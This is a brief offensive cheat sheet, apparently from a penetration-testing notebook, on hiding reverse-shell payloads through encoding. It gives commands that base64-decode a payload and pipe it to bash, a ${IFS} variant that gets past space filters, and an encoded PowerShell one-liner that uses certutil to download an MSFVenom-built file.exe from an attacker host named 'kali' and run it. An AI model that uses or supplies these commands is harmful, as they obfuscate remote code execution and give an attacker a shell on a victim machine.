Encoded Reverse shell

Command

1)

echo 'REVERSE_SHELL_PAYLOAD' | base64

2)

echo 'BASE64_REVSHELL'|base64 -d|bash

Space delimiter

echo${IFS}BASE64_SHELL|base64${IFS}-d|bash

3) Powershell Encoded:

Payload to be encoded:

certutil.exe -f -urlcache http://kali/file.exe file.exe; .\file.exe

Encoding :

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('certutil.exe -f -urlcache http://kali/file.exe file.exe; .\file.exe'))

Executing :

powershell.exe -nop -e [above encoded code]

File.exe has been generated using MSFVenom